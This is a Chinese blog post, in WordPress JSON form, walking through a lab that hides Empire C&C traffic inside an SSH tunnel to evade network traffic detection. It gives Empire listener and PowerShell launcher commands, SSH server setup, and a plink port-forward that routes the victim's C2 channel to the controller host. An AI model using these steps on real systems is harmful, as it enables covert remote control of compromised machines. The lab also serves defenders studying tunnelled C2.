{"id":151499,"date":"2019-07-29T08:14:47","date_gmt":"2019-07-29T00:14:47","guid":{"rendered":"https:\/\/lrxjmw.cn\/?p=151499"},"modified":"2019-07-23T09:16:23","modified_gmt":"2019-07-23T01:16:23","slug":"linux-ssh-cc","status":"publish","type":"post","link":"https:\/\/lrxjmw.cn\/linux-ssh-cc.html","title":{"rendered":"\u5229\u7528SSH\u96a7\u9053\u52a0\u5bc6\u6280\u672f\u9690\u853dC&C\u901a\u4fe1\u6d41\u91cf"},"content":{"rendered":"\n\n\n
\u5bfc\u8bfb<\/td>\n\u5728\u7f51\u7edc\u653b\u9632\u535a\u5f08\u4e2d\uff0c\u7f51\u7edc\u6d41\u91cf\u7279\u5f81\u5206\u6790\u7c7b\u5b89\u5168\u9632\u5fa1\u63aa\u65bd\u5f97\u5230\u4e86\u5e7f\u6cdb\u5e94\u7528\u3002\u4f17\u591a\u5382\u5546\u548c\u4f01\u4e1a\u5bf9\u7f51\u7edc\u6d41\u91cf\u8fdb\u884c\u6076\u610f\u6d41\u91cf\u5206\u6790\u68c0\u6d4b\uff0c\u4ece\u800c\u9488\u5bf9\u6027\u7684\u91c7\u53d6\u9632\u5fa1\u63aa\u65bd\uff0c\u5982\u5404\u7ea7ISP\u5728\u9aa8\u5e72\u7f51\u7edc\u8bbe\u5907\u4e0a\u5927\u591a\u91c7\u7528\u7f51\u7edc\u6d41\u91cf\u5206\u6790\u68c0\u6d4b\u7684\u9632\u5fa1\u65b9\u6848\u3002<\/strong><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
\u4e00\u3001\u80cc\u666f\u7b80\u4ecb<\/strong><\/div>\n

\u5728\u7f51\u7edc\u653b\u9632\u535a\u5f08\u4e2d\uff0c\u7f51\u7edc\u6d41\u91cf\u7279\u5f81\u5206\u6790\u7c7b\u5b89\u5168\u9632\u5fa1\u63aa\u65bd\u5f97\u5230\u4e86\u5e7f\u6cdb\u5e94\u7528\u3002\u4f17\u591a\u5382\u5546\u548c\u4f01\u4e1a\u5bf9\u7f51\u7edc\u6d41\u91cf\u8fdb\u884c\u6076\u610f\u6d41\u91cf\u5206\u6790\u68c0\u6d4b\uff0c\u4ece\u800c\u9488\u5bf9\u6027\u7684\u91c7\u53d6\u9632\u5fa1\u63aa\u65bd\uff0c\u5982\u5404\u7ea7ISP\u5728\u9aa8\u5e72\u7f51\u7edc\u8bbe\u5907\u4e0a\u5927\u591a\u91c7\u7528\u7f51\u7edc\u6d41\u91cf\u5206\u6790\u68c0\u6d4b\u7684\u9632\u5fa1\u65b9\u6848\u3002
\n\u672c\u6587\u60f3\u901a\u8fc7\u6807\u51c6\u7684SSH\u7684\u7aef\u53e3\u8f6c\u53d1\u5efa\u7acbSSH\u5f62\u5f0f\u7684\u52a0\u5bc6\u96a7\u9053\uff0c\u7528\u4e8e\u52a0\u5bc6\u3001\u9690\u853d\u4f20\u8f93\u6076\u610f\u6d41\u91cf\uff0c\u4ece\u800c\u907f\u514d\u901a\u8fc7\u6d41\u91cf\u68c0\u6d4b\u53d1\u73b0\u6076\u610f\u884c\u4e3a\u3002\u590d\u73b0\u5b9e\u9a8c\u90e8\u5206\u4ee5C&C\u901a\u4fe1\u6d41\u91cf\u4e3a\u4f8b\u8fdb\u5165\u5b9e\u9a8c\u3002\u901a\u8fc7SSH\u96a7\u9053\u8fdb\u884c\u52a0\u5bc6\u548c\u9690\u85cf\u7684C&C\u6d41\u91cf\u5728\u5916\u90e8\u6d41\u91cf\u7279\u5f81\u5206\u6790\u4ec5\u8868\u73b0\u4e3a\u6807\u51c6SSH\u6d41\u91cf\u3002
\n\"\"<\/p>\n

\u4e8c\u3001\u5b9e\u9a8c\u539f\u7406<\/strong><\/div>\n

\u672c\u6b21\u5b9e\u9a8c\u4f7f\u7528Empire\u5de5\u5177\u5feb\u901f\u642d\u5efaC&C\u4fe1\u9053\uff0c\u672c\u6587\u53ea\u7b80\u8981\u4ecb\u7ecd\u5bf9\u4e8eEmpire\u5de5\u5177\u3002\u5728Windows\u5e73\u53f0\u4e0b\u4f7f\u7528Plink.exe\u5de5\u5177\u7684SSH\u529f\u80fd\u642d\u5efaSSH\u96a7\u9053\u3002<\/p>\n

2.1 SSH\u96a7\u9053\u4ecb\u7ecd<\/strong><\/span><\/div>\n

SSH \u4f1a\u81ea\u52a8\u52a0\u5bc6\u548c\u89e3\u5bc6\u6240\u6709 SSH \u5ba2\u6237\u7aef\u4e0e\u670d\u52a1\u7aef\u4e4b\u95f4\u7684\u7f51\u7edc\u6570\u636e\u3002\u4f46\u662f\uff0c SSH \u8fd8\u80fd\u591f\u5c06\u5176\u4ed6 TCP \u7aef\u53e3\u7684\u7f51\u7edc\u6570 \u636e\u901a\u8fc7 SSH \u94fe\u63a5\u6765\u8f6c\u53d1\uff0c\u5e76\u4e14\u81ea\u52a8\u63d0\u4f9b\u4e86\u76f8\u5e94\u7684\u52a0\u5bc6\u53ca\u89e3\u5bc6\u670d\u52a1\u3002\u8fd9\u4e00\u8fc7\u7a0b\u4e5f\u88ab\u53eb\u505a\u201c\u96a7\u9053\u201d\uff08 tunneling\uff09\uff0c\u8fd9\u662f\u56e0 \u4e3a SSH \u4e3a\u5176\u4ed6 TCP \u94fe\u63a5\u63d0\u4f9b\u4e86\u4e00\u4e2a\u5b89\u5168\u7684\u901a\u9053\u6765\u8fdb\u884c\u4f20\u8f93\u800c\u5f97\u540d\u3002SSH\u96a7\u9053\u7684\u5b9e\u73b0\u4e3b\u8981\u4f7f\u7528SSH\u7684\u53c2\u6570\u914d\u7f6e\u8fdb\u884c\u7aef \u53e3\u8f6c\u53d1\uff0c\u5373\u5c06\u6240\u9700\u4f20\u8f93\u7684\u6570\u636e\u5185\u5bb9\u901a\u8fc7\u52a0\u5bc6\u7684SSH\u96a7\u9053\u8fdb\u884c\u8f6c\u53d1\u3002 SSH \u7aef\u53e3\u8f6c\u53d1\u80fd\u591f\u63d0\u4f9b\u4e24\u5927\u529f\u80fd\uff1a1\u3001\u52a0\u5bc6 SSH Client \u7aef\u81f3 SSH Server \u7aef\u4e4b\u95f4\u7684\u901a\u8baf\u6570\u636e\u30022\u3001\u7a81\u7834\u9632\u706b\u5899\u7684\u9650\u5236\u5b8c\u6210\u4e00\u4e9b\u4e4b\u524d\u65e0\u6cd5\u5efa\u7acb\u7684 TCP \u8fde\u63a5\u3002
\n\u7531\u4e8eSSH\u7684\u5b89\u5168\u6027\uff0c\u5728\u6570\u636e\u8de8\u8d8a\u516c\u7f51\u65f6\u5176\u4ed6\u4eba\u65e0\u6cd5\u5f97\u77e5\u6570\u636e\u5185\u5bb9\u3002SSH\u7aef\u53e3\u8f6c\u53d1\u6709\u672c\u5730\u8f6c\u53d1\u3001\u8fdc\u7a0b\u8f6c\u53d1\u548c\u52a8\u6001\u7aef \u53e3\u8f6c\u53d1\u4e09\u79cd\u3002\u672c\u6b21\u5b9e\u9a8c\u4e3b\u8981\u4ee5\u672c\u5730\u8f6c\u53d1\u4e3a\u4f8b\u3002<\/p>\n

\u672c\u5730\u8f6c\u53d1\u4e3b\u8981\u4f7f\u7528SSH\u7684 -L\u53c2\u6570\u89e3\u91ca\uff1a<\/strong><\/span><\/div>\n

\"\"
\n(1) \u7b2c1\u90e8\u5206\uff0c-L\u9009\u9879\u8868\u793a\u4f7f\u7528\u201c\u672c\u5730\u8f6c\u53d1\u201d\u5efa\u7acbssh\u96a7\u9053\u3002\u201c\u672c\u5730\u8f6c\u53d1\u201d\u8868\u793a\u672c\u5730\u7684\u67d0\u4e2a\u7aef\u53e3\u4e0a\u7684\u901a\u8baf\u6570\u636e\u4f1a\u88ab\u8f6c\u53d1\u5230\u76ee\u6807\u4e3b\u673a\u7684\u5bf9\u5e94\u7aef\u53e3\u3002
\n(2) \u7b2c2\u90e8\u5206\u8868\u793a\uff1a\u901a\u8baf\u6570\u636e\u4f1a\u4ece\u672c\u5730\u76849906\u7aef\u53e3\u4e0a\u88ab\u8f6c\u53d1\uff0c\u6700\u7ec8\u88ab\u8f6c\u53d1\u523010.1.0.2\u76843306\u7aef\u53e3\u3002
\n(3) \u7b2c3\u90e8\u5206\u8868\u793a\uff1a\u6211\u4eec\u521b\u5efa\u7684ssh\u96a7\u9053\u662f\u8fde\u63a5\u523010.1.0.2\u4e0a\u7684root\u7528\u6237\u3002<\/p>\n

2.2 Empire\u5de5\u5177\u7b80\u4ecb<\/strong><\/span><\/div>\n

Empire\u662f\u4e00\u4e2a\u9488\u5bf9windows\u5e73\u53f0\u3001\u63d0\u4f9b\u4eceStager\u751f\u6210\u5230\u63d0\u53d6\u548c\u6e17\u900f\u7ef4\u6301\u4e00\u7cfb\u5217\u529f\u80fd\u9f50\u5168\u7684\u6e17\u900f\u653b\u51fb\u6846\u67b6\uff0c\u5176\u6700 \u5927\u7684\u7279\u70b9\u662f\u4ee5PowerShell\u811a\u672c\u4f5c\u4e3a\u653b\u51fb\u8f7d\u8377\uff0c\u800c\u4e14Empire\u5b9e\u73b0\u4e86\u65e0\u9700powershell.exe\u5c31\u53ef\u8fd0\u884cPowerShell\u4ee3\u7406\u529f \u80fd\uff0c\u5373\u5b83\u662f\u4e00\u4e2a\u7eaf\u7cb9\u7684PowerShell\u540e\u671f\u6f0f\u6d1e\u5229\u7528\u4ee3\u7406\u5de5\u5177\u3002\u5feb\u901f\u90e8\u7f72\u540e\u671f\u6f0f\u6d1e\u5229\u7528\u6a21\u5757\uff0c\u5185\u7f6e\u6a21\u5757\u6709\u952e\u76d8\u8bb0\u5f55\u3001 Mimikatz\u3001\u7ed5\u8fc7UAC\u3001\u5185\u7f51\u626b\u63cf\u7b49\u7b49\uff0c\u5e76\u4e14\u80fd\u591f\u9002\u5e94\u901a\u4fe1\u8eb2\u907f\u7f51\u7edc\u68c0\u6d4b\u548c\u5927\u90e8\u5206\u5b89\u5168\u9632\u62a4\u5de5\u5177\u7684\u67e5\u6740\uff0c\u7b80\u5355\u6765\u8bf4 Empire\u7c7b\u4f3c\u4e8e\u6e17\u900f\u795e\u5668Metasploit\uff0c\u662f\u4e00\u4e2a\u57fa\u4e8ePowerShell\u7684\u8fdc\u7a0b\u63a7\u5236\u6728\u9a6c\u3002<\/p>\n

2.2 Empire\u5de5\u5177\u5b89\u88c5<\/strong><\/span><\/div>\n

\u5728\u5b9e\u9a8c\u865a\u62dflinux\u7cfb\u7edf\u4e2d\u5b89\u88c5<\/p>\n

git clone https:\/\/github.com\/EmpireProject\/Empire.git #\u8fdb\u5165setup\u76ee\u5f55\u8fdb\u884c\u547d\u4ee4\u884c\u5b89\u88c5 cd Empire cd setup sudo .\/install.sh<\/pre>\n

\u5b89\u88c5\u6210\u529f\u540e\uff0c\u786e\u8ba4Empire\u76ee\u5f55\u4e0b\u6240\u6709\u6587\u4ef6(\u76ee\u5f55)\u5982\u4e0b\u56fe\uff1a
\n\u4f7f\u7528 .\/empire<\/code>\u542f\u52a8Empire\u5982\u4e0b\u56fe\uff0c\u5219\u6210\u529f\u5b89\u88c5\u3002
\n\"\"<\/p>\n

\u4e09\u3001\u5b9e\u9a8c\u6b65\u9aa4<\/strong><\/div>\n

\u5b9e\u9a8c\u8bf4\u660e\uff1a\u4f7f\u7528\u4e24\u53f0\u865a\u62df\u673aubuntu16 + windows 7\uff0c\u5176\u4e2dubuntu16\u6a21\u62df\u63a7\u5236\u7aef\uff0cwindows 7\u6a21\u62df\u53d7\u63a7\u4e3b\u673a\u3002<\/p>\n

3.1 \u5728ubuntu\u7cfb\u7edf\u4e0a\u642d\u5efaSSH\u670d\u52a1\u7aef<\/strong><\/span><\/div>\n

(1) \u5b89\u88c5Open-SSH Server\u7aef<\/p>\n

sudo apt-get install openssh-server<\/pre>\n

(2) \u914d\u7f6eSSH Server\u7aef
\n\u7f16\u8f91\/etc\/ssh\/sshd_config<\/code>\u6587\u4ef6\u4e2d\u5141\u8bb8\u53e3\u4ee4\u767b\u5f55PermitRootLogin\u914d\u7f6e\u5982\u4e0b\u56fe\uff1a
\n\"\"
\n(3) \u6d4b\u8bd5SSH\u767b\u5f55\u662f\u5426\u6210\u529f
\n\u67e5\u770b\u672c\u673aIP\uff08linux\u547d\u4ee4\uff1aifconfig\uff09,\u5982\u5728windows\u4e0b\u7684XShell\u5de5\u5177\u4e0b\u8f93\u5165Server IP \u8f93\u5165\u767b\u5f55\u540d\u548c\u5bc6\u7801\uff0c\u6210\u529f\u767b\u5165\u7cfb\u7edf\u5219SSH Server\u7aef\u642d\u5efa\u6210\u529f\u3002
\n\u6ce8\uff1a\u9700\u8981\u91cd\u542fsshd\u670d\u52a1\uff1a\/etc\/init.d\/ssh resar
\n(4) \u914d\u7f6eRSA\u5bc6\u94a5\u5bf9\u8ba4\u8bc1\u767b\u5f55
\na) \u751f\u6210rsa\u5bc6\u94a5\u5bf9<\/p>\n

ssh-keygen -t rsa<\/pre>\n

b) \u5f00\u542fsshd\u652f\u6301RSA\u8ba4\u8bc1\u9009\u9879\uff0c\u5e76\u6dfb\u52a0\u8ba4\u8bc1\u516c\u94a5\u8def\u5f84\u5730\u5740
\nc) \u7f16\u8f91\/etc\/ssh\/sshd_config\u6587\u4ef6\u4e2d\u7684PubkeyAuthentication\u9009\u9879\u914d\u7f6e\u4e3ayes\uff0c\u5373\uff1a
\nd) \u590d\u5236\u516c\u94a5\u5230\u67d0\u7528\u6237home\u76ee\u5f55\u4e0b\u7684.ssh\u6587\u4ef6\u5939\u4e0b\uff0c\u6ce8\u5fc5\u987b\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u5728\u53d7\u63a7\u4e3b\u673a(\u672c\u6b21\u5b9e\u9a8c\u4f7f\u7528win 7\u8fdb\u884c\u6a21\u62df)\u8fdb\u884c\u590d\u5236\uff0c\u5426\u5219\u6587\u4ef6\u6743\u9650\u8bbe\u7f6e\u6613\u51fa\u9519\u3002<\/p>\n

ssh-copy-id -i id_rsa.pub \u4e3b\u673a\u767b\u5f55\u7528\u6237\u540d@192.168.81.137<\/pre>\n

e) \u4f7f\u7528\u79c1\u94a5\u8fdb\u884c\u767b\u5f55ssh\u767b\u5f55
\nssh -i \u79c1\u94a5\u8def\u5f84 \u4e3b\u673a\u767b\u5f55\u7528\u6237\u540d@192.168.81.137
\n\u6ce8\uff1a\u4f7f\u7528putty\u3001winscp\u7b49\u5de5\u5177\u65f6\u9700\u8981\u5148\u4f7f\u7528\u5bf9\u5e94\u5e73\u53f0\u5de5\u5177\u8fdb\u884crsa\u79c1\u94a5\u5bfc\u5165\u540e\u8f6c\u5316\u4e3a\u76f8\u5bf9\u5e94\u6587\u4ef6\u683c\u5f0f\uff0c\u5982\u672c\u6b21\u5b9e\u9a8c\u4f7f\u7528putty\u5de5\u5177\u5bfc\u5165\u751f\u6210\u79c1\u94a5\u6587\u4ef6sshrsa.ppk\u3002<\/p>\n

3.2 \u4f7f\u7528Empire\u5de5\u5177\u751f\u6210PowerShell\u811a\u672c\u5907\u7528<\/strong><\/span><\/div>\n

Empire\u5de5\u5177\u7c7b\u4f3cMetasploit\uff0c\u8be6\u7ec6\u4f7f\u7528\u6559\u7a0b\u53ef\u53c2\u8003\u4e00\u7bc7\u6587\u7ae0\u7cbe\u901aPowerShell Empire\u3002
\n\u672c\u6b21\u5b9e\u9a8c\u4f7f\u7528Empire\u751f\u6210\u7b80\u5355\u7684PowerShell\u811a\u672c\uff0c\u5efa\u7acb\u6700\u7b80\u5355\u7684C&C\u901a\u4fe1\u3002\u4e0b\u9762\u7b80\u5355\u6982\u62ec\u4e3b\u8981\u6b65\u9aa4\u3002
\n(1) \u8bbe\u7f6e\u76d1\u542c
\nlisteners #\u8fdb\u5165\u7684\u754c\u9762\u4e0b\u53ef\u8f93\u5165list\u67e5\u770b\u4ee5\u8bbe\u7f6e\u7684\u76d1\u542c uselistener http #\u8f93\u5165 info\u67e5\u770b\u5fc5\u586b\u53c2\u6570 set Name 4444 #\u672c\u6b21\u5b9e\u9a8c\u901a\u8fc7SSH\u96a7\u9053\u901a\u4fe1\uff0c\u56e0\u6b64\u8bbe\u7f6e\u76d1\u542c127.0.0.1:4444 set Port 4444 set Host 127.0.0.1 execute #\u521b\u5efa\u547d\u4e3a4444\u7684\u76d1\u542c\uff0c\u76d1\u542c127.0.0.1:4444\u4e0a\u901a\u4fe1\u6570\u636e
\n\u793a\u4f8b\u5982\u4e0b\uff1a
\n\"\"
\n(2) \u751f\u6210\u7b80\u5355\u7684PowerShell\u5229\u7528\u811a\u672c(\u9488\u5bf9windows)
\nlauncher powershell 4444 # 4444\u4e3a\u8bbe\u7f6e\u7684\u76d1\u542c\u540d\u5b57 #\u53ef\u8fdb\u5165tagers\u751f\u6210\u5176\u4ed6\u6728\u9a6c\u3001\u8fdc\u63a7\u7a0b\u5e8f\uff0c\u672c\u6b21\u5b9e\u9a8c\u76f4\u63a5\u751f\u6210\u6700\u7b80\u5355PowerShell\u5229\u7528\u811a\u672c
\n\u6ce8\uff1a\u751f\u6210\u7684Powershell\u4ee3\u7801\u76f4\u63a5\u590d\u5236\u5e76\u4fdd\u5b58\uff0c\u4ee5\u5907\u5728\u53d7\u63a7windows\u4e3b\u673a(win7\u3001win10)\u6267\u884c\u3002<\/p>\n

3.3 \u642d\u5efaSSH\u96a7\u9053<\/strong><\/span><\/div>\n

(1) windows\u4e0b\u4f7f\u7528Plink.exe(putty\u5de5\u5177\u96c6\u4e2d\u53ef\u4ee5\u5728windows\u7cfb\u7edf\u4e0b\u4f7f\u7528\u547d\u4ee4\u884c\u8fdb\u884cSSH\u8fde\u63a5)\u8fde\u63a5SSHServer
\n#\u9700\u8981\u9996\u5148\u8fdb\u5165Plink.exe\u6587\u4ef6\u6240\u5728\u8def\u5f84 Plink.exe -ssh -l <\/code>\u767b\u5f55\u7528\u6237\u540d -pw <\/code>\u767b\u5f55\u5bc6\u7801 SSH<\/code>\u4e3b\u673aIP<\/code>
\n(2) Plink\u76f8\u5173\u53c2\u6570<\/p>\n

\r\n-ssh \u6307\u5b9a\u4f7f\u7528\u7279\u5b9a\u8fde\u63a5\u534f\u8bae\r\n-l \u6307\u5b9a\u767b\u5f55\u7528\u6237\u540d\r\n-i \u6307\u5b9aRSA\u79c1\u94a5\u767b\u5f55\r\n-L \u672c\u5730\u8f6c\u53d1<\/pre>\n

(3) Plink\u7aef\u53e3\u8f6c\u53d1\u8bbe\u8ba1<\/p>\n

plink.exe -ssh -i sshrsa.ppk am00n@192.168.81.137 -L 4444:192.168.81.137:4444<\/pre>\n

\u5c06\u672c\u5730\u7aef\u53e3\uff084444\uff09\u8f6c\u53d1\u5230\u8fdc\u7a0b\u76ee\u6807\u4e3b\u673a\uff08192.168.81.137\uff09\u7684\u76ee\u6807\u7aef\u53e3(4444\uff09\u3002
\n\u6ce8\u610f\uff1a\u4ee5\u4e0a\u547d\u4ee4\u6267\u884c\u6210\u529f\u540e\uff0c\u9700\u8981\u4fdd\u6301\u547d\u4ee4\u884c\u4e0d\u8981\u5173\u95ed\u3002\u540c\u65f6\u53ef\u4ee5\u7ec4\u5408\u4f7f\u7528SSH\u7684\u5176\u4ed6\u53c2\u6570\u8fdb\u884c\u540e\u53f0\u8fd0\u884c\u3001\u4e0d\u4ea4\u4e92\u7b49\u3002
\n(4) \u4f7f\u7528(2)\u4e2d\u751f\u6210\u7684PowerShell\u811a\u672c\uff0c\u4f7f\u53d7\u63a7\u4e3b\u673a\u4e0a\u7ebf
\na) windows 7\u865a\u62df\u673a\u53e6\u5916\u5f00\u542f\u4e00\u4e2aCMD\u7a97\u53e3\uff0c\u590d\u5236PowerShell\u811a\u672c\u6267\u884c\u3002\u53ef\u4ee5\u770b\u5230\u53d7\u63a7\u4e3b\u673a\u4ee5\u4e0a\u7ebf\u3002
\n5) ubuntu\u7aef\u5207\u6362\u5230agents\u754c\u9762\uff0clist\u547d\u4ee4\u67e5\u770b\u5982\u56fe\uff1a
\n6) \u901a\u8fc7interact\u547d\u4ee4\u5219\u53ef\u4ee5\u4f7f\u7528\u4ee5\u5efa\u7acb\u7684\u63a7\u5236\u4fe1\u9053\u63a7\u5236\u53d7\u63a7\u4e3b\u673a\uff0c\u5982\u901a\u8fc7\u7b80\u5355\u7684ls\u547d\u4ee4\u6d4b\u8bd5\u6210\u529f\u5982\u4e0b\u56fe\uff1a
\n7) \u81f3\u6b64\u4ee5\u6210\u529f\u4f7f\u7528SSH\u96a7\u9053\u4f20\u8f93C&C\u901a\u4fe1\u6d41\u91cf\uff0c\u540e\u7eed\u53ef\u5728\u6b64\u57fa\u7840\u4e0a\u8bbe\u8ba1\u5b9e\u73b0\u5176\u4ed6C&C\u63a7\u5236\u547d\u4ee4\u53ca\u5176\u5b83\u6076\u610f\u529f\u80fd\u3002<\/p>\n

\u56db\u3001\u603b\u7ed3<\/strong><\/div>\n

\u901a\u8fc7\u672c\u6b21\u5b9e\u9a8c\u53ef\u4ee5\u770b\u51fa\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u7c7b\u4f3cSSH\u7684\u516c\u5171\u670d\u52a1\u6216\u53ef\u7528\u6280\u672f\u8f85\u52a9\u653b\u51fb\uff0c\u4e14\u5176\u5b9e\u73b0\u4e5f\u975e\u5e38\u5bb9\u6613\u3002<\/p>\n

\u5173\u952e\u6b65\u9aa4\u603b\u7ed3\uff1a<\/strong><\/span><\/div>\n

(1) \u642d\u5efaSSH\u670d\u52a1\uff0c\u5e76\u914d\u7f6e\u4e3aRSA\u79c1\u94a5\u767b\u5f55(\u4e5f\u53ef\u4ee5\u914d\u7f6e\u4e3a\u514d\u5bc6\u767b\u5f55)\u3002
\n(2) \u4f7f\u7528\u5de5\u5177(\u5982Empire\u3001Metasploit\u7b49)\u6784\u5efaC&C\u3002
\n(3) \u5229\u7528SSH\u7684\u7aef\u53e3\u8f6c\u53d1\u642d\u5efaSSH\u96a7\u9053\u3002
\n(4) \u914d\u7f6eC&C\u548cSSH\u53c2\u6570\u4f7f\u4e8c\u8005\u914d\u5408\u5b9e\u73b0\u52a0\u5bc6\u3001\u9690\u85cf\u6076\u610f\u6d41\u91cf\u7684\u76ee\u7684\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

\u5728\u7f51\u7edc\u653b\u9632\u535a\u5f08\u4e2d\uff0c\u7f51\u7edc\u6d41\u91cf\u7279\u5f81\u5206\u6790\u7c7b\u5b89\u5168\u9632\u5fa1\u63aa\u65bd\u5f97\u5230\u4e86\u5e7f\u6cdb\u5e94\u7528\u3002\u4f17\u591a\u5382\u5546\u548c\u4f01\u4e1a\u5bf9\u7f51\u7edc\u6d41\u91cf\u8fdb\u884c\u6076\u610f\u6d41\u91cf\u5206\u6790\u68c0\u6d4b\uff0c […]<\/p>\n","protected":false},"author":1893,"featured_media":151504,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[55],"tags":[],"class_list":["post-151499","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-thread"],"acf":[],"_links":{"self":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/151499","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/users\/1893"}],"replies":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/comments?post=151499"}],"version-history":[{"count":6,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/151499\/revisions"}],"predecessor-version":[{"id":151517,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/posts\/151499\/revisions\/151517"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/media\/151504"}],"wp:attachment":[{"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/media?parent=151499"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/categories?post=151499"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lrxjmw.cn\/wp-json\/wp\/v2\/tags?post=151499"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}